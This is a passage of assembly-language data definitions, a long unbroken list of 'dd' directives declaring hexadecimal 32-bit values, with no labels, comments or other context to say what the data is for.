17F436C8h, 0EBAA298Ah, 88F79810h dd 906C470Ah, 0D090AD9Ch, 0B400803Ah, 56E7D23h, 2427894h dd 0AABF6198h, 94515CE4h, 33ADBE83h, 5162F4C1h, 0ADB58320h dd 0C85700F8h, 0E6CD6D12h, 765E7A2Fh, 0F123B02Fh, 16943D01h dd 38794074h, 176D8880h, 0FA01BF3Bh, 9FDD53C5h, 0C842F4EEh dd 79847987h, 7051873h, 0BF19283h, 3D6E806Ah, 0D0B92BB5h dd 0B785E600h, 0A5FA493h, 9B92D858h, 0A8E503E8h, 86DD6099h dd 0E4B51F0h, 1AE24C8Dh, 87C45CC5h, 8316E660h, 98113Fh dd 123CD021h, 0A892F3F0h, 849D73E8h, 0E1EC0145h, 0CB2A00B7h dd 0F055F3FDh, 9C1356F9h, 388817B8h, 9310082h, 0F70D3C5Eh dd 2700AAE1h, 25C25F6h, 9B9F82Bh, 4A229397h, 0A795851h dd 0C7208519h, 940A3CFEh, 0A4128427h, 77286Eh, 8D4223B2h dd 3CE76CD5h, 7C24A0B4h, 6B34A60Bh, 0F7D9234h, 0F228E232h dd 4F303065h, 0B2F7DC0Bh, 11641D54h, 20608EF9h, 1CB21910h dd 6E2A1EDCh, 2C9627EAh, 0CDB69416h, 7A970482h, 0EDE1005Ch dd 0DF4FFC4Eh, 0AB4F4C6Fh, 5223382Eh, 27E3600h, 26BADB82h dd 6074C16Dh, 7642EAAAh, 0D1F8F772h, 0C37B5F12h, 606F5C21h dd 9506BD4h, 15174B9Bh, 8658545Bh, 7C135326h, 180F6C81h dd 0D5770064h, 3E335BD2h, 39223E0h, 4FEFC6A4h, 0BA2751D6h dd 760C1130h, 59412618h, 9A21023h, 12E9CE30h, 23C35392h dd 9CA0E174h, 4400BC5Fh, 9B1E3FA7h, 48B8B9h, 256A96BBh dd 80EBA392h, 24CAF5Dh, 0F38A44BAh, 7C5EF7h, 0DCE323B8h dd 72036BBCh, 222956E6h, 91AE712Fh, 341027E8h, 0B9006709h dd 2A1A9D22h, 4BBE7E9h, 51AC3E40h, 85C0AC53h, 208B4DEAh dd 0CEC0FDC8h, 1610DB9Ch, 3F17DCCCh, 9F23C8h, 0B8FF7708h dd 0D03B9116h, 4EE0B81Ah, 0F8216C4Eh, 38976079h, 911378A3h dd 6560C85Fh, 0F1400B1Fh, 7066A640h, 72FA9FEh, 944CDBC6h dd 26421262h, 0FF917497h, 85C1ED80h, 33586ED0h, 0CFDF3AE8h dd 0E7684000h, 3EAC8432h, 83320166h, 7080CC39h, 6C2646FBh dd 10364000h, 0B8644181h, 19850167h, 75650425h, 4EE07C6Fh dd 7EC008DAh, 630C6E8h, 0D9B7D80Fh, 0DA4E4175h, 0F0791563h dd 0F257C0ADh, 0AE5E1B0Eh, 3840C0CAh, 5D22DD9h, 0B37EDE4Fh dd 4E40CC55h, 5437112Eh, 0E430500Eh, 68B85144h, 5A3CFC9Ch dd 70908F80h, 22EDC795h, 72DAFE17h, 589BF084h, 32DDD780h dd 0C40C4C6Ch, 901BA768h, 8F91274Fh, 0ACF9844Ah, 3618FD79h dd 6B1E5B71h, 40D38C2Dh, 25F5FCE0h, 90978154h, 588E9991h dd 60C4D600h, 0A8C47E23h, 48AC9890h, 0DD044489h, 1FB8EC4Ch dd 403A684Bh, 0C13A185Ah, 43E5A186h, 8B773800h, 9EDD7547h dd 8C009F66h, 0D6EFF541h, 6F0370B4h, 0F9DD2C78h, 0F9C68018h dd 1887D178h, 985158EAh, 4587777h, 98E285D6h, 0CFCE7h dd 2E604BC1h, 14A119B8h, 54F121CEh, 0A488E400h, 60F69E23h dd 14FED801h, 0C4AAD69Dh, 0C3E021D9h, 0C8441710h, 0FB48009h dd 6A61C2DDh, 97C56EC0h, 0AD009039h, 0C7FC6F6Bh, 0D20066B3h dd 7C3D4331h, 4FF21EC3h, 514C910Dh, 67F4606Eh, 0DC305881h dd 8B982714h, 508EA463h, 0FEEF910Ch, 445687Ah, 57E2E85Eh dd 210A828h, 0F28114B5h, 46C4053h, 58343DF6h, 0AF886186h dd 0C3094894h, 1D2F8F27h, 8065115Ch, 0B76C17D5h, 485D5D31h dd 98DED708h, 0FB05681Fh, 0F082ADCEh, 3E112064h, 8B00403Ah dd 0BFC83FC0h, 7DF8CCC3h, 20770395h, 0D11CAD87h, 0C2861EF9h dd 0E804207Ch, 0DA00EF68h, 0D6016099h, 0D0614B28h, 465E54B4h dd 521B00F8h, 0F98FB27Fh, 88802F6h, 0B8EB82EFh, 804522Fh dd 54B0C783h, 5B101143h, 70970C6Dh, 0B9AB50DAh, 186679E8h dd 44B00195h, 1CBC4813h, 8834257Bh, 3EE88E8h, 738F7EC1h dd 16B57017h, 678874CBh, 0EFC859C0h, 2F563B89h, 19076009h dd 5D9BD822h, 0D16BBA20h, 7488036Fh, 0DCCB384Dh, 0C8F146A2h dd 0AFB8E900h, 27E6C1A3h, 8CE17CA4h, 0E224735Ah, 1D11300Bh dd 0EF7F8C0Ch, 0A729002h, 0EBE9AC2Fh, 0C1260B2Ch, 0C97C6784h dd 51C402CCh, 9F6C2C40h, 0D0C1D54Fh, 54282391h, 8CFEBCh dd 20346645h, 2A9ED086h, 0E6E9B908h, 0AF5800Dh, 9BF38844h dd 0CB008095h, 0B8028CB9h, 0BE7A4404h, 72278F16h, 0ED6E1842h dd 60B0EA47h, 44FC20A8h, 0F892F534h, 2354D5F8h, 3D05B8F8h dd 0F4DC164Eh, 85C830CBh, 119A0FE0h, 0F6E4243Fh, 55AB0850h dd 97142F3Bh, 807311A0h, 0AF3AD6F9h, 92771CC5h, 4CF78C38h dd 0EC4149C0h, 80B45891h, 0F7422591h, 5888949Ch, 2504A9CFh dd 0D38C1773h, 0DED4B4h, 7101C319h, 67E4F463h, 8BE67800h dd 2C38D72Dh, 0A8FF2575h, 0BA040CE7h, 8BC434Bh, 218A6888h dd 1980F0EEh, 0AE0BCB33h, 2C47B40h, 9A82E2B3h, 0A4DC50BCh dd 942B4440h, 9F56B842h, 4C0014B7h, 60CB9320h, 3F67414Fh dd 292E808h, 0E39D9B6h, 0BEC0944Fh, 2016C15Fh, 4F18573Fh dd 5AC17FF7h, 981109D9h, 0F8897685h, 6EE42C65h, 0C48D1061h dd 5E7069B9h, 47539609h, 4330697Bh, 4056E830h, 4109B5ABh dd 0F269472Fh, 9B620C24h, 21F08673h, 1699EA69h, 3A6AFCACh dd 15108CD6h, 27C44CC1h, 336840AAh, 525424E6h, 61A83FE8h dd 92CB29Eh, 0BB73174Bh, 0BC503909h, 7441E494h, 6AD4CE18h dd 0F05C02F1h, 5F93DF7Eh, 0EB4024DCh, 0BDA147h, 7688E704h dd 92249859h, 44AE924h, 7B42406Eh, 2EBF557Dh, 1D8C8F58h dd 0B73444BAh, 0B8D0ACF2h, 32048C96h, 0DADFF4D2h, 0FEE4CCE0h dd 91474088h, 92300F19h, 0E047DD18h, 4E005DE4h, 2407EADAh dd 98C5684Ah, 3BE0D4B6h, 8243902Fh, 919EED0Bh, 1CF614D0h dd 222C0305h, 90806DB9h, 99C8B05Eh, 0D93301BCh, 71FCDACEh dd 0DF3860B4h, 0D7C8408Ah, 0BCE58374h, 0B70ADF5Ch, 23080C68h dd 789742F8h, 6B99A900h, 0C25A80FDh, 3457E60Bh, 2CF071ADh dd 1D940950h, 306CA484h, 924F333h, 0DEEFF5ACh, 9ED91820h dd 9004AF10h, 0B6E5579Dh, 412F70ACh, 0A4EA5844h, 8054B597h dd 6727D610h, 0DE33DD57h dd 0DFEA5882h, 0F010AD98h, 61003849h, 0A59E2CAh, 2C4C4Dh dd 0CD9BBCE1h, 4927D902h, 912BE8F9h, 93D82200h, 7A3C29AFh dd 35590385h, 6E838496h, 9DC31111h, 4303C989h, 11065C3Dh dd 2CA89626h, 1834BD41h, 24422920h, 4B84DC01h, 9CB09466h dd 451980EFh, 0D3B6F541h, 1F41C091h, 0D2DCE28h, 16013300h dd 2FA21766h, 3402BD32h, 0E8D1FEBDh, 3C44CCA7h, 6981A66Dh dd 0D87ED332h, 4429A5FAh, 0B56E0034h, 3DB11579h, 75075D80h dd 0A3A0069Dh, 0C7DC6823h, 54A90Ch, 0AAE16544h, 2A69F0AFh dd 0FFEF8201h, 0A32BBF58h, 447867C2h, 973F605Bh, 16597801h dd 93C43F3h, 3C2C30D4h, 0C88B7680h, 9EE171h, 492DA257h dd 7BED1E4Fh, 0A54D9A03h, 4E089B91h, 0C8E88B59h, 0AF7DC051h dd 7614B6FEh, 83C0D2D9h, 0D0BF7703h, 7AF519h, 0A1568609h dd 5C978EEEh, 0FDF238A0h, 5B07E6B8h, 4C7AB417h, 1EC7B3E0h dd 0D040FB14h, 6947947Bh, 0CB730E7h, 69D4EB80h, 9EA0292h dd 0B906C7E0h, 0F2001879h, 3C046E4h, 0FB2B2A9Fh, 0A89500F4h dd 32DAD6D7h, 0EF00CE5Eh, 3350052Dh, 30472E62h, 0A0416761h dd 0E416DA1Dh, 0DC322CE1h, 0AE9240CEh, 18C201DCh, 13B928Eh dd 0D091E1C3h, 8C9A5CD5h, 0D01611F0h, 7C1075E6h, 8C52E8C0h dd 0B677B000h, 0D8B9EA13h, 5F5765Bh, 240643BDh, 0B2D0D555h dd 30F8F2D8h, 5CEA19E0h, 71C44F01h, 0C28B3C18h, 0A48C436Eh dd 0A2E0DA9Bh, 330032CCh, 0E41D2A18h, 140F3E60h, 0B4272017h dd 0E01C3AC0h, 34507C08h, 46806D84h, 0F110B161h, 1C611883h dd 0C10693B4h, 0D2F39F6Fh, 90086BB3h, 0E6EA86F6h, 0B899B17Eh dd 5E773E80h, 2AAC4C5h, 44B2932Eh, 6C70A5C8h, 686A0612h dd 0B6C220B4h, 58C78010h, 0CD01982h, 3987F6A0h, 89D9BA1Dh dd 0BF65247h, 92ED5C10h, 3178CD6Ah, 0BCB86C39h, 48008C67h dd 33F6E821h, 0BD6169BDh, 4743B020h, 5C137D7Ch, 0ACE42113h dd 0CD043E39h, 6AA1EA04h, 24F8F892h, 47862CF6h, 9C416964h dd 454E6070h, 5702BEB8h, 77013ACFh, 0AF28E036h, 65B180E4h dd 473956E2h, 2800CB60h, 1EC0047Bh, 4AA09AB4h, 23382EF5h dd 0EBA204FEh, 0C2B0FC46h, 90C77FB3h, 0B7E9EAF0h, 2F00C094h dd 0EEFE7C3Ch, 985756h, 0BBD1669Bh, 0D39F6C15h, 60020E3h dd 0A868BF09h, 58F85316h, 1200C1A3h, 5F9813FFh, 0A2E5432h dd 6610E9B1h, 7521148h, 7092F7A1h, 50DC87E0h, 0CA9500D4h dd 0B4BA809Fh, 8A095326h, 65437A5Ah, 60FDE4ECh, 298CA80h dd 72D005A7h, 2C401A75h, 858443BEh, 60674470h, 212A53Fh dd 0B8FB1C96h, 1855EBE9h, 7C62C88Ch, 0D56D3A2Ch, 9116DD02h dd 207680E7h, 739F4674h, 41F59015h, 2471398h, 7E7610D0h dd 8108B6CBh, 0CA9817DDh, 3C58217Ch, 5D448058h, 62780Bh dd 56CD0AD0h, 0ED3BEE7Fh, 0FB64BA1Dh, 46216F41h, 402ECBB5h dd 0A5CA4F80h, 791ED5ADh, 0B2C33A11h, 807CD493h, 7A15E6Bh dd 336CC0BEh, 3ED3303Bh, 9A0067A3h, 9C0BEB47h, 0E70FA7Ch dd 9882A90h, 60E06887h, 941BA5B2h, 0DC7AF403h, 0A37C448Bh dd 54210017h, 21A2A59Bh, 0AF0612Fh, 3EFC30F9h, 0B199BF00h dd 13A1EBD7h, 516606DDh, 3887F37Eh, 0AFFA0A0Fh, 0AC42609Ah dd 0ECFF60A2h, 83F33016h, 0A73EF021h, 2B0608F8h, 1AF706BCh dd 21ED6008h, 26A73646h, 0B98ED700h, 22838AC1h, 0A50314F8h dd 24B864BDh, 36F078Ch, 0B6D05F13h, 0E13869D6h, 6D8EFE5h dd 0E312589h, 0AB66E815h, 649C5Dh, 0D238D08Ch, 161FFC31h dd 0EF806BC7h, 3A96FE77h, 0A9D41E6Fh, 0F5AD80E7h, 0C7DCA145h dd 59EACF30h, 0A9817Eh, 0E7718B01h, 0DC62BB97h, 865EA107h dd 0F7A0550Fh, 1F0E5B21h, 0B0D0950Bh, 0C661C039h, 60693307h dd 48765CE5h, 21D36108h, 0F0C65A27h, 7600AFA3h, 61E8BF47h dd 766C1F24h, 29DF61E2h, 8ED489EBh, 90782FF1h, 1AB67B00h dd 845FDC0Eh, 9E75FE07h, 44A0B4F7h, 0E3E12F08h, 6F612885h dd 28C430Bh, 0A3C0DA5Ch, 0B0C85A48h, 0C662C0A0h, 18FF6932h dd 5B2088D5h, 5EC7C618h, 76096278h, 2550AE8h, 38A49704h dd 65467F00h, 29FFE1B9h, 61B01506h, 681086Eh, 8947B359h dd 0DD001111h, 3464C3F5h, 42CDD4h, 65249BA3h, 28389089h dd 688C1500h, 0E7AB6A91h, 0F1010C9Ch, 0D891D6CFh, 0CC663300h dd 26BD544Bh, 96E1012Dh, 0B0AC1895h, 286BCC98h, 0BE986D54h dd 0E216D660h, 320E854h, 0B940369h, 8BC8570Ch, 4CB0E04Eh dd 88315C60h, 7BB0CA1Bh, 842607EFh, 46271DE7h, 19002180h dd 6535CA13h, 30C75615h, 5999D1CDh, 5C03F7F6h, 0A024E970h dd 0CCF3C0AEh, 7AE7040Eh, 88F40173h, 24013EB4h, 0DD34C09Fh dd 485191DBh, 5180EFCFh, 835FF42Dh, 131D9A1Eh, 0C5408CCCh dd 0EEC9603Ah, 0A80CE261h, 5B16BA8h, 5DC15C5Fh, 3FC01FFEh dd 8091F2F6h, 79C089F3h, 92DE6004h, 62993A4Fh, 0E22F5F00h dd 0E067903Dh, 3646D090h, 1FA5AE07h, 327C1494h, 97482022h dd 0CF19C8A5h, 0DD680EF1h, 8D02A910h, 11F903Fh, 7871F585h dd 3985126Fh, 4A64F70Dh, 118C48A8h, 772F18D9h, 1A16119h dd 1D8547EBh, 0F51530C5h, 6288C02Ah, 0AAC34B3Fh, 0E00794C1h dd 384ED011h, 6F63007Eh, 0A3F8CCBFh, 62AB84h, 2872FA51h dd 91FF4B4Fh, 0D398482Eh, 4D29B918h, 7E2C0040h, 718CEDDBh dd 0E7015B16h, 69665CD0h, 7D13B589h, 0D00A6FE1h, 9253069Ah dd 0FA112DCh, 0D423AC2Fh, 41433500h, 6CA258Bh, 8E5694F3h dd 0D8F7D919h, 3B07402Eh, 2A95847Fh, 3EC495Eh, 0A8DF89F7h dd 990F10DAh, 18D87940h, 0B6214F4h, 92249EB2h, 0EDE14110h dd 0F4298FE6h, 0E4C2C691h, 0F0DD0011h, 55E8F1FBh, 1B015E5Dh dd 613925D8h, 19D8B607h, 0A7050CF8h, 88306EA1h, 98C91360h dd 143D13Ah, 53C2B13Fh, 50702866h, 62D99BCCh, 32C79D01h dd 74129860h, 11D7BC8h, 0C255EE61h, 0CCAB40EDh, 0F298919Bh dd 0C68BA903h, 0E965D798h, 0A180E9CFh, 0BD30DCC4h, 410054ECh dd 97F2669Eh, 34BE6C0h, 6362CD10h, 0B00F727Eh, 23B7DC92h dd 3CD7CF97h, 43804F41h, 6F693BF8h, 6B076466h, 88765879h dd 0A7FBC040h, 677261h, 0D2B78ACFh, 0BACEF77Bh, 58F19D02h dd 0A4D5A5D0h, 708928A4h, 981824D0h, 9C3900C1h, 65A62ABFh dd 1458AD5Eh, 409D0E50h, 0FC30121Fh, 12487F9h, 8BB9B266h dd 0E4303BEBh, 5D1EA9EEh, 0B91E798h, 92B10D3Ah, 8FCCD069h dd 20B4FC41h, 84D307ABh, 4E5E00D5h, 0D1B12136h, 150A2258h dd 0ECCE5B9Ch, 0C19BD340h, 0C673A42h, 0EAA78500h, 1D89485Ah dd 9EC869C0h, 690340h, 97A8D128h, 70610678h, 0B400B37Dh dd 6D15125Bh, 1D13BF3h, 0B2F2FDE0h, 0DC1FEA91h, 6905754Ch dd 6A2C4E82h, 1BA043Ah, 22F83DB1h, 33F8BC74h, 58CA3DA1h dd 0B819B3BEh, 0C0121823h, 0B183B611h, 408081C3h, 7DB967D3h dd 0F5E98476h, 61198CCEh, 0E4906192h, 0EBF50371h, 0B5C40A6Bh dd 5F81F9B8h, 7706EDB0h, 0D35130CCh, 0BB761D58h, 982A1812h dd 400CD37h, 0E9348B98h, 974C6867h, 0B9293F06h, 0F8E35503h dd 5BA1559h, 888D0F79h, 4480FB64h, 3C022B8h, 1F453DDCh dd 8CAB3C52h, 0CB93990Dh, 7AC8492Bh, 0EF3200ECh, 26AB5635h dd 29C02561h, 6D17D3C9h, 93E7008Dh, 0B547FC45h, 0B4005164h dd 0FB9E62EAh, 5C9F98C5h, 18740A4Fh, 49418C69h, 0B800BA8Ah dd 0EE1970D2h, 0EC898Bh dd 0E136A5FDh, 0BC6B83E4h, 7D326000h, 90DF978Ch, 35F0C025h dd 82A40115h, 801CE0F8h, 0AE40D16Bh, 0E6309FFBh, 0B14A0245h dd 0F6699078h, 0E46098ADh, 0D7398CEFh, 8948E364h, 0ADAE89E1h dd 290CE448h, 81ECA9B1h, 89E6E895h, 378AC09Dh, 0BA1158C0h dd 2BCDDBh, 0D6493B6Bh, 34F7AEA3h, 71178400h, 4E44EF27h dd 0F8560099h, 0C5A7770Ah, 0C8C73B4Ch, 7180A5E9h, 6087B533h dd 0CD4138ADh, 7E4C5A7Ch, 10A804F6h, 3C8036A7h, 0C67A9EDh dd 2D6B6CBDh, 34F83EC8h, 7503B300h, 33485F50h, 0A38F00BCh dd 0A522C84Dh, 6D00160Fh, 34083FABh, 6665Dh, 0C6486336h dd 0E40536Ah, 80F12C7Ch, 5409A318h, 2BF7BB6Eh, 4F202F1Dh dd 21839668h, 0A00B4B6Eh, 74090AAEh, 7E2F261h, 5F526AF7h dd 1EFAC038h, 0FF00907Fh, 879CD119h, 2193A210h, 81CC0B4Ah dd 8207E4ACh, 0A9291410h, 72156507h, 0D6C0557Eh, 7C80199h dd 0AD0D5EEBh, 8945F037h, 507A6BD9h, 1AE3300Ah, 8B23409h dd 7180A2CBh, 0A021378Ch, 27F94BF1h, 3DD4A820h, 7800ECA8h dd 5F858765h, 92098BAEh, 11D7613h, 2454E2A4h, 16C3820h dd 8264FF5Bh, 4897D6h, 6635613h, 55E12C42h, 6F22292Ah dd 9F5022FDh, 0A7111242h, 873212Bh, 0FE889DABh, 11B08862h dd 22E2079Eh, 9A79A2C8h, 8917F288h, 44B7082Bh, 228446A1h dd 3F440DAFh, 0EE400037h, 0CCDCA47Bh, 783F859Eh, 1C689D99h dd 0AEBCC280h, 6BEAFCh, 0B0603101h, 2AE27FE5h, 825B6100h dd 0AFB3FE8Eh, 0C69E005Eh, 1B5983A7h, 0AD00A184h, 0FD0F4C28h dd 1C14FA1Eh, 8063E85Eh, 34C5B13Fh, 2000B8E5h, 5BD09B46h dd 3BFC1BDh, 79DBEBEDh, 96C84570h, 0A1240C39h, 9F001786h dd 0F5F02E51h, 59E206h, 0C11C4397h, 0A99E6956h, 7E914501h dd 0B119014Eh, 0F6FD530h, 0AD4105BDh, 8824C8A0h, 0B07380AAh dd 130C190Fh, 0A1836F7Eh, 0C042EBAFh, 9521E8h, 318CED20h dd 7A80E58Eh, 0CB734000h, 8D4A4F5Dh, 402A60C2h, 92591AB3h dd 0E707157Bh, 0CCD595B5h, 0DA757420h, 8FE3001Eh, 59D6913Dh dd 9F0F0C68h, 40942F5Ch, 54B96D44h, 0B7CC0028h, 3BAF679Ch dd 0C70F4925h, 67785864h, 1B70EEE7h, 4E43B2h, 1DE11FA5h dd 318DF1B6h, 7F8A340Fh, 110320FDh, 684357h, 0AB66B0BDh dd 1ED787DDh, 0C2FC68C0h, 1DF6A4CCh, 805CF39Ah, 0AF01E015h dd 48003A8Bh, 21B26DE9h, 0BFF8D2h, 2E26F7B9h, 87C4AA07h dd 6EF5D400h, 0C0BEAA5h, 70274CFEh, 0F40B813Ch, 2400F81Ah dd 0C051DE1Eh, 8B62BF07h, 0E1B0490Dh, 9ECD81h, 2B857F6Bh dd 5FAA5B27h, 1A7C3C7Ch, 0D44B671Dh, 0C126640h, 923562h dd 0C68CA18Fh, 57CBDCE0h, 96460E00h, 9122207Ah, 71640BAAh dd 78006B4Eh, 32F88619h, 0C2184200h, 726E2B0h, 447000E8h dd 3335B972h, 7F3D4ACAh, 69B88504h, 88009A3Bh, 558AEEFDh dd 0EBD1C34h, 277A16FEh, 0C6E38FF4h, 0BBD073FBh, 330060D2h dd 0E4B4C539h, 54A914h, 0FB75A145h, 0CF7B7A22h, 2DB20600h dd 5E1E927h, 25B7006Dh, 6A5AA260h, 2A39D4ACh, 9F1CFF76h dd 39018A8Ch, 303E3F44h, 918E2880h, 0E5D0DBC3h, 62D2E41Fh dd 1FAE9387h, 53EDF350h, 0EFB53DCBh, 75BA1C80h, 0ECA33D29h dd 0C9B46600h, 0CD688EABh, 0A877072Fh, 50567F12h, 4C85D921h dd 9E015200h, 0A958926Ah, 7CDF03AAh, 0BA2316D7h, 15265988h dd 1A9B8301h, 0C075687Ah, 0AE4070h, 5455FFC9h, 73342098h dd 80BC933Eh, 72E86D09h, 18F3A9Dh, 44121AEFh, 80496179h dd 857D03C0h, 75C694Ah, 0F1082927h, 33535181h, 4344C448h dd 0B2DC032Eh, 193D7002h, 6EAC8038h, 48EC28C3h, 3600D0BBh dd 24D4EE42h, 0C500414Bh, 0DBF8A387h, 1E503404h, 0DF0DB33Ah dd 0CDFF0070h, 0AC06803Ch, 0A12C9103h, 9020319Eh, 12FA4C3Fh dd 0F22DD2h, 3671982Dh, 0B00E2BD3h, 20D8631Bh, 0F877ACF3h dd 1CBE0A7Ah, 4B02371h, 808AB156h, 16DADD40h, 0D5F89500h dd 284A1A57h, 48D97869h, 0A01E44CEh, 0C8072003h, 77F6918Ch dd 0BA6818A1h, 73EBC88Fh, 6940A980h, 1D0005FCh, 0DECC4753h dd 3C62A8h, 0C9EEA586h, 0BD7CF2D7h, 8EA0AF00h, 0B8E484F4h dd 0E28A00BBh, 5464651Dh, 0D0C04BCCh, 0AFB7FFCFh, 0E3080026h dd 0B9712CB1h, 73059456h, 5C392884h, 0DFF4BB80h, 25C20066h dd 0C8A8D842h, 0DD0FA182h, 80A0B274h, 57709923h, 76FA98ACh dd 85C1006Dh, 0D54F8344h, 0F00025D1h, 570E9EEBh, 0F414EA9h dd 0C5697A75h, 91CFB780h, 22008F6Fh, 4B0C2D27h, 5B239h dd 2F1252Ch, 0B738E19Bh, 0C61CE8B8h, 60C0AAF6h, 0FDA74D5Ch dd 78EF01C8h, 6DB59D09h, 0F0882135h, 70714C9h, 0AC73516Ch dd 0BED88481h, 44AFE4h, 244EFE64h, 0E881A213h, 1A65561Eh dd 0C2AED6C0h, 1F946C75h, 0DB4532D3h, 0A1C85011h, 0DC928BB9h dd 1B4D0B1Dh, 0BE937140h, 1FAA289Fh, 8E955Dh, 4934D138h dd 0C2007B16h, 0FBA62ABDh, 1E704483h, 809571C8h, 1F823C22h dd 46000221h, 18BA1BBBh, 4C8F3F08h, 57002845h, 21759DEAh dd 0E75834E2h, 553A006Bh, 0D8C2BACEh, 0B25006Bh, 0B80947DCh dd 0E5006E06h, 82E8EF5Ah, 52296h, 0BF01AEE2h, 0A5DE64B7h dd 0F7BCEB01h, 652F33Ah, 5F4FAF4h, 1973EF41h, 8900801Eh dd 6490D78Dh, 0A5C1F800h, 6F346A14h, 5ABB0044h, 112E32BFh dd 2A00907Eh, 0E0F50559h, 4C1DDFEh, 0FF9182E6h, 0CBE4C032h dd 7F02DA43h, 12B8D0A8h, 33F66009h, 5B10585Ch, 80B2C01Fh dd 2D0D47F0h, 0C30044CCh, 6D1EEE7Bh, 3F28E57h, 529BBFFAh dd 9FA0D29Ah, 0FCB02F4Dh, 587CB901h, 0B2AB3BE0h, 0F3F464h dd 918FE8BDh, 0BC7A6823h, 273A5F7Fh, 0F1E102D0h, 40B91C4Ch dd 0BFE97A0h, 0C09C8A92h, 0E5C1B000h, 7E00A731h, 7093A34Dh dd 0A0C2A5h, 3B879883h, 8C46F038h, 0D2221D00h, 6BC897D0h dd 2C5A1ECFh, 0DABF8083h, 0D1AE19D9h, 330E84ECh, 0A0C0F3C7h dd 50C52544h, 0E4AA0059h, 5E790CD9h, 6B00B1C8h, 9529F6BEh dd 6711D8h, 8A4003C5h, 8992B01Fh, 0ED15751Dh, 243AC680h dd 9D4A814h, 55D20549h, 0F42B7A80h, 370067C4h, 0B8D80F36h dd 0E8CC8CADh, 0EBB700A5h, 3CD945FBh, 0D51CE142h, 5800360Ah dd 0D11AB6CEh, 4BEAF2h, 0C2DD5326h, 0CCB7DF94h, 3BA64C00h dd 0CA93C85Fh, 0E4D854BBh, 8C210057h, 6DAE445Bh, 5A0025FAh dd 0ED881F3Ah, 0FDCA224h, 0CB4C9C8Eh, 50008154h, 0C54298B4h dd 6100FB40h, 10D4DEAEh, 0A268C7Eh, 2D386288h, 0CFCD00E4h dd 7389E2EBh, 0F6DC2400h, 0AFAD5330h, 597D00F5h, 0F792668Fh dd 6700EE86h, 4BB18E39h, 7E66CFDh, 0C4BC7CBEh, 0F24ED1D2h dd 0F056D84Fh, 9BF85500h, 0C34D1C31h, 282E00B1h, 0ECC1DA6Dh dd 8B586F2Dh, 0C97F3BC8h, 0F9790234h, 0ADB4FFh, 562039A2h dd 9E65A807h, 0C55007CEh, 0FC7DEB37h, 16C400D0h, 38B070FDh dd 90000961h, 896771D7h, 52C800Dh, 0C01BD8D2h, 0D4008986h dd 0BA031E95h, 0EA8549B2h, 8BB698A6h, 41C126F9h, 0E06C0238h dd 0A3E0BC25h, 6E006736h, 4ED4CE54h, 3F83B71Dh, 0EF98E1A1h dd 236B609Dh, 96957600h, 25A3D9D4h, 0D61A00C9h, 0D3DBAA85h dd 0CE3AE551h, 77007CB7h, 8A15565h, 0BE5938h, 0F2981ABFh dd 5BB0E8EDh, 5F07B18h, 1560C4A4h, 0B4D88707h, 190E0900h dd 0F2C29F5Fh, 62D43A09h, 0B584842Dh, 0F46DA680h, 0F65E006Fh dd 4612FD38h, 9D71E44Bh dd 0E800A9FCh, 7DC94D98h, 0FC56B3h, 315B8D14h, 1018D667h dd 5D6870CBh, 76308D0Ch, 0EEB5BB00h, 633151FEh, 2EE700F4h dd 9D789836h, 1E3CAF0Ah, 439F8745h, 5390C684h, 1C1A99BEh dd 456EFB3Ch, 80B01BB5h, 0DEF5420Ch, 6B5CC900h, 2CF9AA81h dd 0A5DD0024h, 31718991h, 4B013D04h, 681B2B4Dh, 3B207FDEh dd 0D2D40080h, 0E6A09B33h, 0F7E03AF8h, 0CD059500h, 601A6475h dd 0C23B03B2h, 0A5D75978h, 0B6BD0200h, 0C84A0AD9h, 4720F8Dh dd 9C005AEh, 0E225A2C4h, 7B00A4B0h, 86DFE3BEh, 4A18F41h dd 1295A63h, 43D4C034h, 0B004817Eh, 47BEFE0Fh, 25A218A0h dd 1F7C22E0h, 54C6C700h, 12BCC68h, 44AE7E13h, 0E03BFF6Fh dd 4D0B3F5Ch, 89097718h, 78A48034h, 0FCDEB6h, 0B520D221h dd 79DC7A30h, 980BEA1Ch, 158260B0h, 46F400ECh, 5022C4D2h dd 0DA008676h, 0F8C3F65h, 5909C2h, 94A4A6D6h, 0EEC1E9AAh dd 0FA03770Bh, 0B88C80BDh, 4C1E0CF0h, 0CC00C03Bh, 10405366h dd 0A1003E5Bh, 80E03323h, 3985A6Ch, 6A3CEF83h, 0F0D867D9h dd 0CF00A94Bh, 0B72AE438h, 3B02D46Bh, 0C11EF5D7h, 0DAE6001Ah dd 9ABACA4Ch, 18C33Ah, 0E2563638h, 0B8C74A45h, 2F9737Ah dd 5A9119AAh, 0D8781C28h, 0CFA2D706h, 4857D1h, 0F3F5795Dh dd 1648A868h, 88FC8600h, 8E1C389Bh, 81BD001Eh, 0ACD5824Eh dd 6A1F19F1h, 4FC0514Bh, 29DABC78h, 0F0AE009Dh, 371B3A04h dd 0A20009A7h, 1F366CA4h, 414238h, 6416DBFEh, 0D3F67D4Dh dd 3E91F800h, 2744483Bh, 0EC2000C7h, 821943FFh, 0ED0E7AE3h dd 1613CD5h, 7E94453Fh, 6788C4h, 3707FA1Dh, 8FEB3343h dd 0BD390100h, 973C5FA3h, 91DA1240h, 1434C0F1h, 0EF008873h dd 746CEA2Ah, 0B21C303h, 0E12C48DFh, 7E81A28Eh, 200D6925h dd 6020852Ch, 1EE94E4Fh, 53208098h, 0E15E4E89h, 7E8B722h dd 17EE0E80h, 183AE1C6h, 707C70A3h, 0B2FC8A5Eh, 79A2AB00h dd 57CC1940h, 5CB4BE00h, 0DF0378D6h, 70C90C4h, 0F284A67Eh dd 0A2DD3062h, 0D70C81ECh, 20C51D55h, 78FF0090h, 0DB167920h dd 9760776Dh, 2BBA679Ch, 19373AF7h, 3FCE6880h, 0D771FB8Dh dd 89D0BF00h, 5E98CD69h, 2A90DFh, 4108D4BAh, 0ED1770EBh dd 0A075AB00h, 0C3F28762h, 0D2B1F96h, 3E1D8098h, 6B497183h dd 6E07FE00h, 797B4631h, 4DE0008Eh, 41CCB9DFh, 8C90285Bh dd 597EF00h, 0E5473D52h, 0D09C3873h, 80010A9Dh, 67F1A3Eh dd 0A301C41Bh, 0D3383AA6h, 0F130072Ah, 0DB8200BBh, 875E5817h dd 0AD0504E1h, 32B1FBE0h, 0A07886h, 23FA0E74h, 692DDB3h dd 0EAB44112h, 0EECFC421h, 7B38C03Eh, 1400D890h, 540CA372h dd 7A17181h, 0E4B60B6Eh, 0ECD3605Dh, 5248C3E7h, 0B70D1F06h dd 1FD8B802h, 4FACC062h, 0D1BA1D1Dh, 4E0FC0CAh, 0FE52616Dh dd 6E8A1800h, 0F2857265h, 0F4AE0E27h, 20C058EDh, 714E2499h dd 9D0C700h, 